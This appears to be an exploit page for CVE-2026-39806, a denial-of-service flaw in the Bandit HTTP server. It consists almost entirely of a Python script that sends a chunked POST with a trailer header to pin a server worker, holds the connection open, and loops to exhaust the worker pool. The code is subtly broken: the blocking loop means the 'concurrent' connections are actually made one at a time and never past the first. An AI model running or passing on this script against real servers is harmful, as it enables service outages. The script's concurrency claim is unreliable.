CVE-2026-39806 Bandit无限循环致拒绝服务漏洞

import socket import time def send_exploit(target_host, target_port): # Construct a HTTP/1.1 request with chunked encoding and a trailer. # This triggers the infinite loop in Bandit < 1.11.1. payload = ( "POST / HTTP/1.1\r\n" f"Host: {target_host}\r\n" "Transfer-Encoding: chunked\r\n" "\r\n" "5\r\n" "hello\r\n" "0\r\n" # Last chunk marker "X-Malicious-Header: value\r\n" # The trailer that causes the bug "\r\n" # Final CRLF ) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_host, target_port)) s.send(payload.encode()) print(f"[+] Exploit sent to {target_host}:{target_port}. Worker pinned.") # Keep the connection open to hold the worker process while True: time.sleep(1) except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": TARGET_HOST = "127.0.0.1" TARGET_PORT = 4000 # Launch multiple concurrent connections to exhaust the worker pool for _ in range(10): send_exploit(TARGET_HOST, TARGET_PORT)